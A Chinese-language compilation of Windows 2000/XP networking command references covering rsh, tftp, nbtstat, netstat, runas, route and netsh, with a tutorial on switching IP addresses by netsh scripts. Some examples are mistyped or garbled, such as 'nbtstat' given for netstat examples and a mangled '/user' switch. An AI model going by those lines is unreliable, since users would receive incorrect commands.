    注释
    标准*作
    rsh 命令将标准输入复制到远程 command,将远程 command 的标准输出复制到其标准输出,将远程 command 的标准错误复制到其标准错误。Rsh 通常在远程命令终止时终止。

    使用重定向符号
    为了使重定向在远程计算机上发生,要以引号引住重定向符号(例如 ">>")。如果不使用引号,重定向会在本地计算机发生。例如,以下命令将远程文件“RemoteFile”附加到本地文件“LocalFile”中:

    rsh othercomputer cat remotefile >> localfile

    以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中:

    rsh othercomputer cat remotefile ">>" otherremotefile

    使用 rsh
    在使用已登录到某个域并且运行 Windows XP Professional 的计算机时,该域的主域控制器必须可用于确认用户名或 rsh 命令失败。

    .rhosts 文件
    .rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts 文件的远程计算机上运行 rcp、rexec 或 rsh 命令时,您不必提供远程计算机的登录和密码信息。

    .rhosts 文件是一个文本文件,该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开,注释用符号 (#) 打头。例如:

    host7 #This computer is in room 31A

    .rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息,请参阅远程系统的文档。

    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令,请键入:

    rsh vax1 -l admin1 telcon

    Tftp
    向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件。

    语法
    tftp [-i] [Host] [{get | put}] [Source] [Destination]

    参数
    -i
    指定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i,文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用该模式。如果文件传送成功,将显示数据传输率。
    Host
    指定本地或远程计算机。
    put
    将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证,所以用户必须登录到远程计算机,同时文件在远程计算机上必须可写。
    get
    将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。
    Source
    指定要传送的文件。
    Destination
    指定将文件传送到的位置。如果省略了 Destination,将假定它与 Source 同名。
    /?
    在命令提示符显示帮助。
    注释
    使用 get 参数
    如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 get。

    Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。
    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt,请键入:

    tftp vax1 put users.txt users19.txt
    Nbtstat
    显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。

    语法
    nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]

    参数
    -a remotename
    显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序使用的 NetBIOS 名称列表。
    -A IPAddress
    显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
    -c
    显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。
    -n
    显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。
    -r
    显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上,该参数将返回已通过广播和 WINS 解析和注册的名称号码。
    -R
    清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。
    -RR
    重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。
    -s
    显示 NetBIOS 客户和服务器会话,并试图将目标 IP 地址转化为名称。
    -S
    显示 NetBIOS 客户和服务器会话,只通过 IP 地址列出远程计算机。
    Interval
    重新显示选择的统计资料,可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数, netstat 将只显示一次当前的配置信息。
    /?
    在命令提示符显示帮助。
    注释
    Nbtstat 命令行参数区分大小写。
    下表列出了由 Nbtstat 生成的列标题。 标题 说明
    Input 接收的字节数。
    Output 发送的字节数。
    In/Out 该连接是否从计算机(传出)或者其他计算机到本地计算机(传入)。
    Lift 名称表缓存项在被清除之前所存留的时间。
    Local Name 本地 NetBIOS 名称与连接相关联。
    Remote Host 与远程计算机相关的名称或 IP 地址。
    <03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义,因为相同的名称(只有最后一个字节不同)可能在一台计算机上出现几次。例如,<20> 在 ASCII 文本中是一个空格。
    Type 名称类型。名称可以是单个名称,也可以是组名称。
    Status 远程计算机上是否在运行 NetBIOS 服务(“已注册”),或同一计算机名是否已注册了相同的服务(“冲突”)。
    State NetBIOS 连接的状态。

    下表列出了可能的 NetBIOS 连接状态。 状态 说明
    已连接 会话已建立。
    关联 连接的终结点已经被创建并与 IP 地址关联。
    正接听 该终结点对内向连接可用。
    空闲 该结束点已被打开单不能接收连接。
    正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。
    接受 入站会话当前正在被接受,将在短期内连接。
    重新连接 会话将试图重新连接(如果第一次连接失败)。
    出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。
    入站 入站会话在连接期。
    正在断开 会话正在断开连接。
    已中断连接 本地计算机已断开连接,并正等待远程系统的确认。

    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表,请键入:

    nbtstat -a CORP07

    要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表,请键入:

    nbtstat -A 10.0.0.99

    要显示本地计算机的 NetBIOS 名称表,请键入:

    nbtstat -n

    要显示本地计算机 NetBIOS 名称缓存的内容,请键入:

    nbtstat -c

    要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目,请键入:

    nbtstat -R

    要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册,请键入:

    nbtstat -RR

    要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料,请键入:

    nbtstat -S 5

    Netstat
    显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。

    语法
    netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]

    参数
    -a
    显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
    -e
    显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。
    -n
    显示活动的 TCP 连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。
    -o
    显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数可以与 -a、-n 和 -p 结合使用。
    -p Protocol
    显示 Protocol 所指定的协议的连接。在这种情况下,Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统计信息,则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。
    -s
    按协议显示统计信息。默认情况下,显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议,就会显示有关 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。
    -r
    显示 IP 路由表的内容。该参数与 route print 命令等价。
    Interval
    每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数,netstat 将只打印一次选定的信息。
    /?
    在命令提示符显示帮助。
    注释
    与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。
    Netstat 提供下列统计信息:
    Proto
    协议的名称(TCP 或 UDP)。

    Local Address
    本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数,就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建立,端口以星号(*)显示。

    Foreign Address
    连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数,就显示与 IP 地址和端口对应的名称。如果端口尚未建立,端口以星号(*)显示。

    (state)
    表明 TCP 连接的状态。可能的状态如下:

    CLOSE_WAIT

    CLOSED

    ESTABLISHED

    FIN_WAIT_1

    FIN_WAIT_2

    LAST_ACK

    LISTEN

    SYN_RECEIVED

    SYN_SEND

    TIMED_WAIT

    有关 TCP 连接状态的信息,请参阅 RFC 793。

    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要想显示以太网统计信息和所有协议的统计信息,请键入下列命令:

    netstat -e -s

    要想仅显示 TCP 和 UDP 协议的统计信息,请键入下列命令:

    netstat -s -p tcp udp

    要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID,请键入下列命令:

    nbtstat -o 5

    要想以数字形式显示活动的 TCP 连接和进程 ID,请键入下列命令:

    nbtstat -n –o

    Runas
    允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。

    语法
    runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program

    参数
    /profile
    加载用户的配置文件。/profile 是默认值。
    /no profile
    /noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速,但是在一些应用程序中也会引起错误。
    /env
    指定当前使用的网络环境,而不是用户的本地环境。
    /netonly
    指明指定的用户信息只用于远程访问。
    /smartcard
    /smartcard 表示凭据是否是由智能卡提供的。
    /showtrustlevels
    列出 /trustlevel 开关项。
    /trustlevel
    指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。
    /user:UserAccountName
    指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 user@domain 或 domain\user。
    程序
    指定要用在 /user 中指定的帐户运行的程序或命令。
    /?
    在命令提示符显示帮助。
    注释
    管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务,只有在执行特定管理任务时,才使用一个权限更大的帐户。要不经过注销再重新登录就完成这样的任务,可以用一般帐户登录,然后使用 runas 命令来运行需要更大权限的工具。
    有关 runas 命令的使用范例,请参阅“相关主题”。
    尽管 runas 通常由 Administrator 帐户使用,但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据,使用 runas 运行程序、MMC 控制台或“控制面板”项。
    如果要在计算机上使用 Administrator 帐户,对于 /user:,键入下列参数之一:
    /user:AdministratorAccountName@ComputerName

    /user:ComputerName\AdministratorAccountName

    如果想以域管理员身份使用这个命令,键入下列参数之一:
    /user:AdministratorAccountName@DomainName

    /useromainName\AdministratorAccountName

    runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组(例如“Users”或“Power Users”组)的成员登录到计算机时,可以以管理员的身份运行。
    可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息,用户帐户就具有登录到计算机的能力,并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用.
    runas 命令允许您管理其他域的服务器(运行工具的计算机和要管理的服务器在不同的域中)。
    如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项,可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失败。后者的凭据可能无法访问同一网络共享。
    有些项,例如“打印机”文件夹和桌面项,间接由 Windows 2000 打开,而不能使用 runas 命令启动。
    如果 runas 命令失败,则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态,请在“计算机管理”中单击“服务和应用程序”,然后单击“服务”。要测试用户帐户,请尝试使用该帐户登录合适的域。
    范例
    要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例,请键入:

    runas /user:localmachinename\administrator cmd
    系统提示时,键入管理员密码。

    要使用名为 companydomain\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例,请键入:

    runas /user:companydomain\domainadmin "mmc %windir%\system32\compmgmt.msc"
    当提示时,键入帐户密码。

    要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例,请键入:

    runas /user:user@domain.microsoft.com "notepad my_file.txt"
    当提示时,键入帐户密码。

    要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例,请键入:

    runas /netonly /useromain\username "command"
    domain\username 必须是有足够权限管理服务器的用户。当提示时,键入帐户密码。
    Route
    在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。

    语法
    route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric] [if Interface]

    参数
    -f
    清除所有不是主路由(网掩码为 255.255.255.255 的路由)、环回网络路由(目标为 127.0.0.0,网掩码为 255.255.255.0 的路由)或多播路由(目标为 224.0.0.0,网掩码为 240.0.0.0 的路由)的条目的路由表。如果它与命令之一(例如 add、change 或 delete)结合使用,表会在运行命令之前清除。
    -p
    与 add 命令共同使用时,指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下,启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时,则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。
    Command
    指定要运行的命令。下表列出了有效的命令。 命令 目的
    add 添加路由
    change 更改现存路由
    delete 删除路由
    print 打印路由

    Destination
    指定路由的网络目标地址。目标地址可以是一个 IP 网络地址(其中网络地址的主机地址位设置为 0),对于主机路由是 IP 地址,对于默认路由是 0.0.0.0。
    mask subnetmask
    指定与网络目标地址相关联的网掩码(又称之为子网掩码)。子网掩码对于 IP 网络地址可以是一适当的子网掩码,对于主机路由是 255.255.255.255 ,对于默认路由是 0.0.0.0。如果忽略,则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是 0,则目标地址中的对应位就不能设置为 1。
    Gateway
    指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由,网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。
    metric Metric
    为路由指定所需跃点数的整数值(范围是 1 ~ 9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。
    if Interface
    指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上 0x。忽略 if 参数时,接口由网关地址确定。
    /?
    在命令提示符显示帮助。
    注释
    路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。
    如果在 systemroot\System32\Drivers\Etc 文件夹的本地网络文件中存在适当的条目,名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址,就可以将其用于 Gateway,DNS 查询使用存储在 systemroot\System32\Drivers\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。
    如果是 print 或 delete 命令,可以忽略 Gateway 参数,使用通配符来表示目标和网关。Destination 的值可以是由星号 指定的通配符。如果指定目标含有一个星号 或问号 (?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。
    使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1,而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义)是否有些位设置成了 1。
    只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。
    只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
    范例
    要显示 IP 路由表的完整内容,请键入:

    route print

    要显示 IP 路由表中以 10. 开始的路由,请键入:

    route print 10.*

    要添加默认网关地址为 192.168.12.1 的默认路由,请键入:

    route add 0.0.0.0 mask 0.0.0.0 192.168.12.1

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入:

    route add 10.41.0.0 mask 255.255.0.0 10.27.0.1

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入:

    route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入:

    route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7

    要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0x3 的路由,请键入:

    route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3

    要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入:

    route delete 10.41.0.0 mask 255.255.0.0

    要删除 IP 路由表中以 10. 开始的所有路由,请键入:

    route delete 10.*

    要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入:

    route change 10.41.0.0 mask 255.255.0.0 10.27.0.25

    怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server
    在命令行下更改ip地址

    Windows2000是现在比较流行的*作系统,它的功能是很强大的,它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地址的方法,现介绍给大家(括号里是一些注释,黑体字是人工录入的):

    C:\>ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址)

    Windows 2000 IP Configuration

    Ethernet adapter 本地连接:

    Connection-specific DNS Suffix . :

    IP Address. . . . . . . . . . . . : 10.1.1.94 (本地连接更改之前的ip)

    Subnet Mask . . . . . . . . . . . : 255.255.255.0

    Default Gateway . . . . . . . . . : 10.1.1.254

    C:\>netsh (进入设置模式)

    netsh>interface

    interface>ip

    interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254

    interface ip>exit


    上文中的set命令具体解释如下:

    set address - 设置指定的接口的 IP 地址和默认网关。

    set dns - 设置 DNS 服务器模式和地址。

    set wins - 设置 WINS 服务器模式和地址。


    C:\>ipconfig (更改后再用ipconfig命令看一下,确认一下是否更改成功)

    Windows 2000 IP Configuration

    Ethernet adapter 本地连接:

    Connection-specific DNS Suffix . :

    IP Address. . . . . . . . . . . . : 10.1.1.111

    Subnet Mask . . . . . . . . . . . : 255.255.255.0

    Default Gateway . . . . . . . . . : 10.1.1.254


    命令一览
    .. - 移到上一层上下文级。
    ? - 显示命令列表。
    aaaa - 更改到 `aaaa` 上下文。
    abort - 丢弃在脱机模式下所做的更改。
    add - 将一个配置项添加到项目列表中。
    alias - 添加一个别名
    bye - 退出程序。
    commit - 提交在脱机模式中所做的更改。
    delete - 在项目列表上删除一个配置项目。
    dhcp - 更改到 `dhcp` 上下文。
    dump - 显示一个配置脚本。
    exec - 运行一个脚本文件。
    exit - 退出程序。
    help - 显示命令列表。
    interface - 更改到 `interface` 上下文。
    offline - 将当前模式设置成脱机。
    online - 将当前模式设置成联机。
    popd - 从堆栈上打开一个上下文。
    pushd - 将当前上下文放推入堆栈。
    quit - 退出程序。
    ras - 更改到 `ras` 上下文。
    routing - 更改到 `routing` 上下文。
    set - 更新配置设置。
    show - 显示信息
    unalias - 删除一个别名。
    wins - 更改到 `wins` 上下文。
    快速切换IP地址有绝招

    在工作过程中会遇到在不同的网段中进行网络调试的情况,经常需要将机器在几个不同的IP地址中进行切换。在Win2000*作系统中改变IP地址较之Win98已经方便多了因为改完IP地址后不需要重启计算机,但还要进入网络属性设置中进行*作。有没 有再简便一点的方法呢,比如用鼠标双击一下快捷方式就可以实现IP地址的切换?

      答案是肯定的。在Win2000中用netsh命令就可以实现这个功能。首先进入命令行模式(在“开始→运行”中键入“cmd”即可进入命令行模式),在提示符下键入netsh即可进入netsh的界面。再键入int ip进入接口IP的配置模式,键入dump则列出接口IP配置信息:

      C:\Documents and Settings\Administrator>netsh
      netsh>
      netsh>int ip
      interface ip>dump
      # ----------------------------------
      # 接口 IP 配置
      # ----------------------------------
      pushd interface ip
      # ″本地连接″ 的接口IP 配置(注:以下显示视具体机器情况而定)
      set address name = ″本地连接″ source = static addr = 192.168.0.5 mask = 255.255.255.0
      set address name = ″本地连接″ gateway = 192.168.0.2 gwmetric = 1
      set dns name = ″本地连接″ source = static addr = 61.237.17.181
      add dns name = ″本地连接″ addr = 211.97.168.129
      add dns name = ″本地连接″ addr = 211.98.4.1
      set wins name = ″本地连接″ source = static addr = none
      # ″本地连接 2″ 的接口 IP 配置
      set address name = ″本地连接 2″ source = dhcp
      set dns name = ″本地连接 2″ source = dhcp
      set wins name = ″本地连接 2″ source = dhcp
      popd
      # 接口 IP 配置结束

    快速切换IP地址有绝招 2


    现在我们可以大致了解到用netsh命令更改IP地址的方式,即通过“set address name =连接名称(连接名称要用引号括起来)source=static addr=IP地址 mask=子网掩码”来实现。

      到命令行模式下用netsh直接试一下。比如要将本机的IP地址改为192.168.0.7,子网掩码为255.255.255.0,可以进行以下*作:

      C:\Documents and Settings\Administrator>netsh
      netsh>int ip
      interface ip>set address name ="本地连接"source = static addr = 192.168.0.7 mask = 255.255.255.0
      确认更改。
      interface ip>exit
      再用ipconfig命令核实一下:
      C:\Documents and Settings\Administrator>ipconfig
      Windows 2000 IP Configuration
      Ethernet adapter 本地连接 2
      Media State . . . . . . . . . . .  Cable Disconnected
      Ethernet adapter 本地连接
      Connection-specific DNS Suffix . 
      IP Address. . . . . . . . . . . .  192.168.0.7
      Subnet Mask . . . . . . . . . . .  255.255.255.0
      Default Gateway . . . . . . . . .  192.168.0.2

      从以上显示中可以看到已经成功实现了在Win2000中用命令行方式来改变IP地址。用这种方式改变IP地址甚至还没有在图形界面中*作来得快。不过我们再用脚本帮一下忙,离胜利目标就不远了。首先打开记事本,输入以下内容:

      int ip
      set address name=″本地连接″ source=static addr=192.168.0.7 mask=255.255.255.0

      然后保存为一个名为“7.sh”的文件,放到C盘根目录下,再进入命令行模式,在C盘根目录下键入“netsh exec 7.sh”,好像没什么反应啊?不过再用ipconfig查看一下,会发现IP地址已经改过来了。

      最后再用记事本写一个批处理文件,命名为“7.bat”,内容为“netsh exec 7.sh”。为该文件在桌面上创建一个快捷方式,这样双击该快捷方式即可实现IP地址的快速改变。如果要快速在192.168.0.5、192.168.0.7等相同网段IP地址间进行切换的话,只需要改变“addr”后面的地址即可,但是要将IP地址改 为如172.19.96.7之类不同网段的IP地址,就需要将网关信息一起改变,也就是在脚本文件中加入一行关于网关的信息:

      int ip
      set address name = ″本地连接″source = static addr= 172.19.96.7 mask = 255.255.255.0
      set address name = ″本地连接″gateway = 172.19.96.1 gwmetric = 1

      同样地将以上内容存为脚本文件,再做成批处理文件执行一下,用ipconfig/all命令检测一下,发现包括网关在内的信息也修改过来了。这是不是既快又方便,IP地址想换就换?
    使用 netstat 显示连接统计
    可以使用 netstat 命令显示协议统计信息和当前的 TCP/IP 连接。netstat -a 命令将显示所有连接,而 netstat -r 显示路由表和活动连接。netstat -e 命令将显示 Ethernet 统计信息,而 netstat -s 显示每个协议的统计信息。如果使用 netstat -n,则不能将地址和端口号转换成名称。
    Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
    -d 指定不将IP 地址解析到主机名称。
    -h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
    -j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
    -w timeout 等待 timeout 为每次回复所指定的毫秒数。
    target_name 目标主机的名称或 IP 地址。
    pathping 命令是一个路由跟踪工具,它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器,然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度,因此可以很容易地确定可能导致网络问题的路由器或链接。
    -n Hostnames 不将地址解析成主机名。
    -h Maximum hops 搜索目标的最大跃点数。
    -g Host-list 沿着路由列表释放源路由。
    -p Period 在 ping 之间等待的毫秒数。
    -q Num_queries 每个跃点的查询数。
    -w Time-out 为每次回复所等待的毫秒数。
    -T Layer 2 tag 将第 2 层优先级标记(例如,对于 IEEE 802.1p)连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
    -R RSVP test Che 检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”,此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
    在命令提示符下交互使用 DHCP 命令
    打开 命令提示符。
    键入 netsh。
    在 netsh>(Netshell) 命令提示行键入“dhcp”。
    在 dhcp>(DHCP 辅助程序)命令提示行,为您要管理的服务器键入 server \\servername 或 server ip_address。
    一旦您有权管理的服务器已成功连接,则会看到“您可以对服务器 servername 进行读写访问”
    一旦连接成功,您就可以使用用于 DHCP 的任何支持的 Netshell 命令。 键入 /? 或 help 来显示直接的 DHCP 子命令菜单或作为选项显示,键入 list 列出可与 DHCP 一起使用的所有 Netshell 子命令。
    route 的命令
    routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。
    routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。
    routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。
    routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。
    routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。
    routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。
    routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。
    routing ip add/delete/set/show scope 添加、删除或显示多播作用域。
    routing ip set/show loglevel 配置或显示全局 IP 记录等级。
    routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。
    routing ip show protocol 显示所有正在运行的 IP 路由协议。
    routing ip show mfe 显示多播转发项。
    routing ip show mfestats 显示多播转发项统计。
    routing ip show boundarystats 显示 IP 多播边界。
    routing ip show r *** estinations 显示路由表管理器路由表中的目标。
    routing ip show rtmroutes 显示路由表管理器路由表中的路由。
    routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。
    routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。
    routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。
    routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。
    routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。
    routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。
    routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。
    routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。
    routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。
    routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。
    routing ip igmp set/show global 配置或显示 IGMP 全局设置。
    routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。
    routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。
    routing ip igmp show grouptable 显示 IGMP 主机组表。
    routing ip igmp show ifstats 显示每个接口的 IGMP 统计。
    routing ip igmp show iftable 显示每个接口的 IGMP 主机组。
    routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。
    routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。
    routing ip ospf set/show global 配置或显示全局 OSPF 设置。
